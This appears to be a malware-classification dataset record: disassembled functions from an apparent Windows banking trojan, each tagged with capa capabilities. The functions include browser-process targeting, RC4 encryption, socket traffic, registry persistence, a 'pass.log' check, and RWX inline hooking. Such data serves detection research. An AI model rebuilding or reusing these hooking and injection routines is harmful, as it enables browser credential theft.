joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10015a20
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 0
push 0
push 0
push 0x10014eb0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x10015a63
lea eax, [ebp - 4]
push eax
push esi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x10015a63
test byte [ebp - 4], 2
jne 0x10015a63
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call dword [sym.imp.KERNEL32.dll_ExitThread]

Function at 0x10015b00
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
push ebx
push esi
push edi
xor edi, edi
push edi
push 2
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
mov dword [ebp - 8], esi
test esi, esi
je 0x10015c1c
lea eax, [ebp - 0x130]
push eax
push esi
mov dword [ebp - 0x130], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x10015bf9
mov ebx, dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea ecx, [ecx]
cmp dword [ebp - 0x128], 0
je 0x10015be3
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [ebp - 0x128], eax
je 0x10015be3
lea ecx, [ebp - 0x10c]
push ecx
push str.iexplore.exeopera.exejava.exejavaw.exeexplorer.exeisclient.exeintpro.exeipc_full.exemnp.execbsmain.dllfirefox.execlmain.execore.exemaxthon.exeavant.exesafari.exesvchost.exechrome.exenotepad.exerundll32.exenetscape.exetbb_firefox.exefrd.exe
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x10015b90
mov eax, dword [ebp - 0x128]
call fcn.10023bc0
test eax, eax
je 0x10015be3
mov edi, dword [ebp - 0x128]
push 0x10050bd0
call ebx
push 0x10
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x10015bd2
xor eax, eax
mov dword [esi], eax
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
push edi
mov dword [esi + 4], edi
call fcn.10023cd0
mov edx, dword [ebp - 4]
mov dword [esi + 8], eax
mov dword [esi], edx
mov dword [ebp - 4], esi
push 0x10050bd0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov edi, dword [ebp - 4]
mov esi, dword [ebp - 8]
lea eax, [ebp - 0x130]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x10015b50
lea ecx, [ebp - 4]
push ecx
push esi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x10015c1c
test byte [ebp - 4], 2
jne 0x10015c1c
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10016320
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
mov esi, dword [ebp + 0xc]
test edx, edx
jle 0x100163b3
mov ecx, dword [ebp + 8]
push ebx
sub ecx, esi
push edi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
jmp 0x10016344
mov ecx, dword [ebp - 0xc]
movzx ecx, byte [ecx + esi]
mov byte [ebp - 1], cl
mov cl, byte [eax + 0x100]
movzx edi, cl
movzx edx, byte [edi + eax]
add edi, eax
mov byte [ebp + 0xf], dl
mov dl, byte [eax + 0x101]
add dl, byte [ebp + 0xf]
mov dword [ebp - 0x10], edi
movzx edi, dl
mov bl, byte [edi + eax]
add edi, eax
mov dword [ebp - 0x14], edi
mov edi, dword [ebp - 0x10]
mov byte [edi], bl
mov edi, dword [ebp - 0x14]
mov byte [ebp + 0xb], bl
movzx ebx, byte [ebp + 0xf]
mov byte [edi], bl
movzx ebx, byte [ebp + 0xf]
movzx edi, byte [ebp + 0xb]
add edi, ebx
mov bl, byte [ebp - 1]
and edi, 0xff
xor bl, byte [edi + eax]
inc cl
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
mov byte [esi], bl
inc esi
dec dword [ebp - 8]
jne 0x10016341
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret 8

Function at 0x100163e0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
cmp dword [esi + 0x34], 0
je 0x100164b7
xor eax, eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov eax, dword [esi + 0xc]
mov ecx, eax
and ecx, 0x800000ff
push edi
mov dword [esi + 0x34], 0
mov byte [ebp - 0x24], 3
jns 0x1001642b
dec ecx
or ecx, 0xffffff00
inc ecx
cdq
and edx, 0xff
add eax, edx
sar eax, 8
mov byte [ebp - 0x1b], al
mov eax, dword [esi + 8]
mov edx, eax
and edx, 0x800000ff
mov byte [ebp - 0x1c], cl
jns 0x10016452
dec edx
or edx, 0xffffff00
inc edx
mov byte [ebp - 0x1a], dl
cdq
and edx, 0xff
add eax, edx
sar eax, 8
push 0
mov byte [ebp - 0x19], al
mov eax, dword [esi]
push 0
push eax
call dword [sym.imp.MSVCRT.dll_fseek]
mov ecx, dword [esi]
mov edi, dword [sym.imp.MSVCRT.dll_fwrite]
push ecx
push 1
lea edx, [ebp - 0x24]
push 0x20
push edx
call edi
mov eax, dword [esi]
mov ecx, dword [esi + 0x10]
mov edx, dword [esi + 0x24]
push eax
push ecx
push 0x20
push edx
call edi
mov eax, dword [esi + 0x10]
inc eax
shl eax, 5
add esp, 0x2c
cmp dword [esi + 0xc], eax
jle 0x100164b6
mov ecx, dword [esi]
push ecx
push 1
lea edx, [ebp - 1]
push 1
push edx
mov byte [ebp - 1], 0xd
call edi
add esp, 0x10
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x100164c0
Capabilities:
Write file on windows

Disassembly:
cmp dword [esi + 0x2c], 0
je 0x10016500
mov eax, dword [esi + 0x28]
cmp eax, 0xffffffff
jle 0x10016500
mov ecx, dword [esi + 8]
mov edx, dword [esi]
imul ecx, eax
add ecx, dword [esi + 0xc]
push 0
push ecx
push edx
mov dword [esi + 0x2c], 0
call dword [sym.imp.MSVCRT.dll_fseek]
mov eax, dword [esi]
mov ecx, dword [esi + 8]
mov edx, dword [esi + 0x30]
push eax
push 1
push ecx
push edx
call dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x1c
ret
Function at 0x10016900
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, eax
cmp dword [esi + 0x34], 0
push edi
je 0x10016916
call fcn.100163e0
cmp dword [esi + 0x2c], 0
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
mov ebx, dword [sym.imp.MSVCRT.dll_fwrite]
je 0x1001695a
mov eax, dword [esi + 0x28]
cmp eax, 0xffffffff
jle 0x1001695a
mov ecx, dword [esi + 8]
mov edx, dword [esi]
imul ecx, eax
add ecx, dword [esi + 0xc]
push 0
push ecx
push edx
mov dword [esi + 0x2c], 0
call edi
mov eax, dword [esi]
mov ecx, dword [esi + 8]
mov edx, dword [esi + 0x30]
push eax
push 1
push ecx
push edx
call ebx
add esp, 0x1c
cmp dword [esi + 0x38], 0
je 0x10016a14
mov eax, dword [esi]
push 0
push 0
push eax
call edi
mov ecx, dword [esi]
push ecx
push 1
lea edx, [ebp - 0x20]
push 0x20
push edx
call dword [sym.imp.MSVCRT.dll_fread]
mov ecx, dword [esi + 4]
mov eax, ecx
and eax, 0x800000ff
mov word [ebp - 0x1f], 0x75f
mov byte [ebp - 0x1d], 0x1a
jns 0x1001699b
dec eax
or eax, 0xffffff00
inc eax
mov byte [ebp - 0x1c], al
mov eax, ecx
cdq
and edx, 0xff
add eax, edx
sar eax, 8
and eax, 0x800000ff
jns 0x100169ba
dec eax
or eax, 0xffffff00
inc eax
mov byte [ebp - 0x1b], al
mov eax, ecx
cdq
and edx, 0xffff
add eax, edx
sar eax, 0x10
and eax, 0x800000ff
jns 0x100169d9
dec eax
or eax, 0xffffff00
inc eax
mov byte [ebp - 0x1a], al
mov eax, ecx
cdq
and edx, 0xffffff
add eax, edx
sar eax, 0x18
and eax, 0x800000ff
jns 0x100169f8
dec eax
or eax, 0xffffff00
inc eax
mov ecx, dword [esi]
push 0
push 0
push ecx
mov byte [ebp - 0x19], al
call edi
mov edx, dword [esi]
push edx
push 1
lea eax, [ebp - 0x20]
push 0x20
push eax
call ebx
add esp, 0x38
mov ecx, dword [esi]
push ecx
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esi + 0x14]
mov edi, dword [sym.imp.MSVCRT.dll_free]
xor ebx, ebx
add esp, 4
cmp eax, ebx
je 0x10016a47
push eax
call edi
mov edx, dword [esi + 0x18]
push edx
call edi
mov eax, dword [esi + 0x1c]
push eax
call edi
mov ecx, dword [esi + 0x20]
push ecx
call edi
add esp, 0x10
mov edx, dword [esi + 0x24]
push edx
call edi
mov eax, dword [esi + 0x30]
push eax
call edi
push esi
call edi
mov eax, dword [0x1005b0d0]
add esp, 0xc
cmp eax, ebx
je 0x10016a74
push eax
call edi
add esp, 4
mov dword [0x1005b0d0], ebx
mov dword [0x1005b0cc], ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10016a80
Capabilities:
Read file on windows

Disassembly:
push esi
push edi
mov edi, eax
mov esi, ecx
test edi, edi
js 0x10016b82
cmp edi, dword [esi + 4]
jge 0x10016b82
cmp dword [esi + 0x10], 2
jle 0x10016b82
cmp dword [esi + 0x28], edi
je 0x10016aed
call fcn.100164c0
mov eax, dword [esi + 8]
imul eax, edi
add eax, dword [esi + 0xc]
push 0
push eax
mov eax, dword [esi]
push eax
call dword [sym.imp.MSVCRT.dll_fseek]
add esp, 0xc
test eax, eax
jne 0x10016b82
mov ecx, dword [esi]
mov edx, dword [esi + 8]
mov eax, dword [esi + 0x30]
push ecx
push 1
push edx
push eax
call dword [sym.imp.MSVCRT.dll_fread]
add esp, 0x10
cmp eax, 1
jne 0x10016b82
mov dword [esi + 0x28], edi
mov ecx, dword [esi + 0x18]
mov eax, dword [ecx + 8]
mov edi, dword [esi + 0x30]
lea edx, [eax + 1]
cmp edx, dword [0x1005b0cc]
jle 0x10016b1a
lea ecx, [eax + eax + 0xa]
mov eax, dword [0x1005b0d0]
mov dword [0x1005b0cc], ecx
call fcn.100163c0
mov dword [0x1005b0d0], eax
mov eax, dword [esi + 0x18]
mov ecx, dword [eax + 8]
mov edx, dword [esi + 0x14]
mov eax, dword [edx + 8]
push ecx
mov ecx, dword [0x1005b0d0]
add eax, edi
push eax
push ecx
call dword [sym.imp.MSVCRT.dll_strncpy]
mov edx, dword [esi + 0x18]
mov eax, dword [0x1005b0d0]
mov ecx, dword [edx + 8]
mov byte [eax + ecx], 0
add esp, 0xc
cmp byte [eax], 0x20
mov esi, eax
mov ecx, eax
jne 0x10016b58
inc esi
cmp byte [esi], 0x20
je 0x10016b52
mov dl, byte [esi]
test dl, dl
je 0x10016b6b
sub esi, eax
mov byte [ecx], dl
mov dl, byte [esi + ecx + 1]
inc ecx
test dl, dl
jne 0x10016b60
mov byte [ecx], 0
cmp ecx, eax
je 0x10016b84
dec ecx
cmp byte [ecx], 0x20
jne 0x10016b84
mov byte [ecx], 0
cmp ecx, eax
jne 0x10016b72
pop edi
pop esi
ret
xor eax, eax
pop edi
pop esi
ret
Function at 0x10017bd0
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
cmp byte [0x1005b0e8], 0
jne 0x10017be8
xor al, al
mov esp, ebp
pop ebp
ret
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_send]
push edi
push 0
push 2
push 0x1004a26c
push esi
call ebx
mov edx, 0x100
lea ecx, [ebp - 0x104]
call fcn.10017ab0
mov edi, dword [sym.imp.WS2_32.dll_recv]
push 0
push 2
lea eax, [ebp - 0x104]
push eax
push esi
call edi
mov al, byte [ebp - 0x103]
mov byte [ebp - 1], al
test al, al
je 0x10017ce8
cmp byte [ebp - 0x104], 1
jne 0x10017ce8
push 0
movsx ecx, al
push ecx
lea edx, [ebp - 0x104]
push edx
push esi
call edi
test eax, eax
jle 0x10017ce8
movsx eax, byte [ebp - 1]
mov cl, byte [0x1005b0e9]
push 0
push 1
lea edx, [ebp - 1]
push edx
push esi
mov byte [ebp + eax - 0x103], cl
call edi
test eax, eax
jle 0x10017ce8
mov edx, 0x100
lea ecx, [ebp - 0x204]
call fcn.10017ab0
movsx eax, byte [ebp - 1]
push 0
push eax
lea ecx, [ebp - 0x204]
push ecx
push esi
call edi
test eax, eax
jle 0x10017cab
movsx edx, byte [ebp - 1]
mov al, byte [0x1005b0e9]
mov byte [ebp + edx - 0x204], al
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpA]
lea ecx, [ebp - 0x104]
push ecx
push 0x10050cf8
call edi
test eax, eax
jne 0x10017ce8
lea edx, [ebp - 0x204]
push edx
push 0x10050bf0
call edi
test eax, eax
jne 0x10017ce8
push eax
push 2
push 0x1004a270
push esi
call ebx
pop edi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10018220
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push edi
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov edi, 4
test eax, eax
jne 0x10018297
lea eax, [ebp - 4]
push eax
push 0x101
push 0
push str.softwaremicrosoft
push 0x80000001
mov dword [ebp - 0x10], edi
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], edi
call esi
test eax, eax
jne 0x1001828c
lea ecx, [ebp - 0xc]
push ecx
mov ecx, dword [ebp - 4]
lea edx, [ebp - 8]
push edx
lea eax, [ebp - 0x10]
push eax
push 0
push 0x1005b6dc
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
cmp eax, dword [ebp - 8]
sbb eax, eax
neg eax
jne 0x100182ef
lea ecx, [ebp - 8]
push ecx
push 0x101
push 0
push str.softwaremicrosoft
push 0x80000002
mov dword [ebp - 0xc], edi
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], edi
call esi
test eax, eax
jne 0x100182e6
lea edx, [ebp - 0x10]
push edx
mov edx, dword [ebp - 8]
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 0xc]
push ecx
push 0
push 0x1005b6dc
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor ecx, ecx
cmp ecx, dword [ebp - 4]
sbb eax, eax
neg eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10018300
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
neg eax
sbb esi, esi
neg esi
add esi, 0x80000001
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 0x102
push 0
push str.softwaremicrosoft
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
pop esi
test eax, eax
jne 0x1001836a
mov edx, dword [ebp - 4]
push 4
lea ecx, [ebp - 8]
push ecx
push 4
push eax
push 0x1005b6dc
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret
Function at 0x10018580
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004b528
push 0x100441f0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1c
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov dword [ebp - 0x2c], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
rdtsc
xor ecx, eax
mov dword [ebp - 0x1c], ecx
lea eax, [ebp - 0x20]
push eax
push 0x40
push 8
mov ecx, dword [ebp + 0xc]
push ecx
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call esi
test eax, eax
je 0x10018751
cmp dword [ebp - 0x20], 0
je 0x10018751
push 0x40
push 0x3000
push 0x12
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
je 0x10018741
mov dword [ebp - 0x28], edi
lea edx, [ebp - 0x24]
push edx
push 0x40
push 0x12
push edi
call esi
mov ebx, eax
neg ebx
sbb ebx, ebx
and ebx, dword [ebp - 0x24]
lea esi, [edi + 4]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
call edi
xor eax, eax
cmp dword [esi], eax
setne al
add eax, 0x68
push eax
push esi
call edi
inc esi
mov eax, dword [ebp - 0x1c]
xor eax, dword [ebp + 8]
push eax
push esi
call edi
add esi, 4
xor eax, eax
cmp dword [esi], eax
setne al
add eax, 0x9c
push eax
push esi
call edi
inc esi
xor eax, eax
cmp dword [esi], eax
setne al
add eax, 0x81
push eax
push esi
call edi
inc esi
xor eax, eax
cmp dword [esi], eax
setne al
add eax, 0x74
push eax
push esi
call edi
inc esi
xor eax, eax
cmp dword [esi], eax
setne al
add eax, 0x24
push eax
push esi
call edi
inc esi
xor eax, eax
cmp dword [esi], eax
setne al
add eax, 4
push eax
push esi
call edi
inc esi
mov ecx, dword [ebp - 0x1c]
push ecx
push esi
call edi
add esi, 4
xor eax, eax
cmp dword [esi], eax
setne al
add eax, 0x9d
push eax
push esi
call edi
inc esi
xor eax, eax
cmp dword [esi], eax
setne al
add eax, 0xc2
push eax
push esi
call edi
inc esi
xor eax, eax
cmp dword [esi], eax
setne al
add eax, 4
push eax
push esi
call edi
inc esi
xor eax, eax
cmp dword [esi], eax
setne al
push eax
push esi
call edi
lea edx, [ebp + 8]
push edx
push ebx
push 0x12
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 2
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov dword [ebp - 4], 0
pushal
mov esi, dword [ebp + 0xc]
mov eax, dword ds:[esi]
mov edx, dword ds:[esi + 4]
mov ebx, 0x25ff9055
mov ecx, dword [ebp - 0x28]
lock cmpxchg8b qword ds:[esi]
popal
jmp 0x10018723
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea ecx, [ebp + 0xc]
push ecx
mov edx, dword [ebp - 0x20]
push edx
push 8
mov eax, dword [ebp + 0xc]
push eax
call esi
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x10018770
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, ebx
test ebx, ebx
je 0x100188c4
push esi
xor esi, esi
mov edx, edi
call fcn.10018ac0
add esi, eax
add edi, eax
cmp esi, 8
jb 0x10018788
push 0x40
push 0x3000
add esi, 8
push esi
push 0
mov dword [ebp - 0xc], esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
je 0x100188c3
xor esi, esi
lea ebx, [ebx]
mov edx, ebx
call fcn.10018ac0
push eax
lea ecx, [edi + esi]
push ebx
push ecx
mov dword [ebp - 8], eax
call sub.MSVCRT.dll_memcpy
mov al, byte [edi + esi]
add esp, 0xc
cmp al, 0xe8
je 0x100187e3
cmp al, 0xe9
jne 0x100187ed
mov ecx, ebx
sub ecx, edi
sub ecx, esi
add dword [edi + esi + 1], ecx
cmp al, 0xeb
jne 0x10018819
mov dl, byte [edi + esi + 1]
add dl, bl
add dl, 2
movzx eax, dl
mov ecx, ebx
and ecx, 0xffffff00
add eax, ecx
sub eax, edi
sub eax, esi
sub eax, 5
mov byte [edi + esi], 0xe9
mov dword [edi + esi + 1], eax
add esi, 3
movzx edx, byte [edi + esi]
movzx eax, byte [edi + esi + 1]
shl dx, 8
or dx, ax
mov ecx, 0xfff0
and dx, cx
mov eax, 0xf80
cmp dx, ax
jne 0x10018845
mov ecx, ebx
sub ecx, edi
sub ecx, esi
add dword [edi + esi + 2], ecx
mov eax, dword [ebp - 8]
add esi, eax
add ebx, eax
cmp esi, 8
jb 0x100187c0
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp + 0x10]
lea eax, [ebp - 4]
push eax
push 0x40
push ecx
push edi
mov dword [edx], edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x100188c3
mov ebx, dword [ebp + 8]
lea edx, [ebp - 4]
push edx
push 0x40
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x100188c3
add edi, esi
push edi
lea eax, [esi + ebx]
push eax
call fcn.10018580
mov ecx, dword [ebp + 0xc]
push ebx
push ecx
call fcn.10018580
mov eax, dword [ebp - 4]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea edx, [ebp - 0x10]
push edx
push eax
push esi
push ebx
call edi
mov edx, dword [ebp - 4]
lea ecx, [ebp - 0x10]
push ecx
push edx
push esi
push ebx
call edi
test eax, eax
je 0x100188c3
mov edi, ebx
call fcn.100188e0
pop esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 0xc

Function at 0x10018970
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 0
mov eax, 0x10050df8
push 0
push 0
mov dword [0x10050dfc], eax
mov dword [0x10050df8], eax
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push 0
push 0
push 0
push 0x100189e0
push 0
push 0
mov dword [0x10050cf4], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x100189d3
lea eax, [ebp - 4]
push eax
push esi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x100189d3
test byte [ebp - 4], 2
jne 0x100189d3
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x100191f0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
push 0x118
lea eax, [ebp - 0x11c]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x120]
push ecx
mov dword [0x10050e00], 0
mov dword [ebp - 0x120], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x10019332
mov eax, 2
cmp dword [ebp - 0x110], eax
jne 0x10019332
mov cl, byte [ebp - 6]
cmp cl, 1
jne 0x10019296
mov ecx, dword [ebp - 0x11c]
cmp ecx, 5
jne 0x10019276
mov ecx, dword [ebp - 0x118]
test ecx, ecx
jne 0x1001926b
lea eax, [ecx + 1]
jmp 0x100192da
cmp ecx, 1
je 0x100192da
cmp ecx, eax
jne 0x100192d5
jmp 0x100192da
cmp ecx, 6
jne 0x100192d5
mov eax, dword [ebp - 0x118]
test eax, eax
jne 0x1001928a
lea eax, [ecx - 2]
jmp 0x100192da
cmp eax, 1
jne 0x100192d5
mov eax, 6
jmp 0x100192da
cmp cl, al
je 0x1001929f
cmp cl, 3
jne 0x100192d5
mov ecx, dword [ebp - 0x11c]
cmp ecx, 5
jne 0x100192b7
cmp dword [ebp - 0x118], eax
jne 0x100192d5
lea eax, [ecx - 2]
jmp 0x100192da
cmp ecx, 6
jne 0x100192d5
mov eax, dword [ebp - 0x118]
test eax, eax
jne 0x100192cb
lea eax, [ecx - 1]
jmp 0x100192da
cmp eax, 1
mov eax, 7
je 0x100192da
mov eax, dword [0x10050e00]
lea edx, [eax + eax*4]
movzx eax, word [ebp - 0xc]
lea eax, [eax + edx*2]
lea ecx, [eax + eax*4]
add ecx, ecx
push str.kernel32.dll
mov dword [0x10050e00], ecx
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x10019326
push esi
push str.IsWow64Process
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x10019325
lea edx, [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
pop esi
cmp dword [ebp - 4], 0
je 0x10019332
inc dword [0x10050e00]
mov esp, ebp
pop ebp
ret

Function at 0x10019340
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
xor eax, eax
jmp 0x10019350
mov cl, byte [eax + 0x1005ae00]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x10019350
push 0x1005d148
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x1005d148
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10019374
push esi
push edi
lea edi, [ebp - 0x104]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10019386
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [ebp - 0x104]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
pop edi
pop esi
cmp eax, 0x10
jne 0x100193f3
lea eax, [ebp - 0x104]
dec eax
lea esp, [esp]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x100193c0
mov ecx, dword [str.pass.log]
mov edx, dword [0x1004a0f8]
mov dword [eax], ecx
mov cl, byte [0x1004a0fc]
mov dword [eax + 4], edx
lea edx, [ebp - 0x104]
push edx
mov byte [eax + 8], cl
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
mov esp, ebp
pop ebp
ret
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x10019640
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
xor eax, eax
jmp 0x10019650
mov cl, byte [eax + 0x1005ae00]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x10019650
push 0x1005d24c
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x1005d24c
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10019674
push esi
push edi
lea edi, [ebp - 0x104]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10019686
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x104]
pop edi
dec eax
pop esi
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x100196a7
mov ecx, dword [str.pass.log]
mov edx, dword [0x1004a0f8]
mov dword [eax], ecx
mov cl, byte [0x1004a0fc]
mov dword [eax + 4], edx
lea edx, [ebp - 0x104]
push edx
mov byte [eax + 8], cl
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
mov esp, ebp
pop ebp
ret

Function at 0x10019ad0
Capabilities:
Create thread
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x1005b0f4]
test eax, eax
je 0x10019ae6
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
push 0
push 0
push 0x10019980
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x1005b0f4], eax
test eax, eax
je 0x10019b2b
push esi
lea ecx, [ebp - 4]
push ecx
push eax
mov esi, eax
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x10019b2a
test byte [ebp - 4], 2
jne 0x10019b2a
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov esp, ebp
pop ebp
ret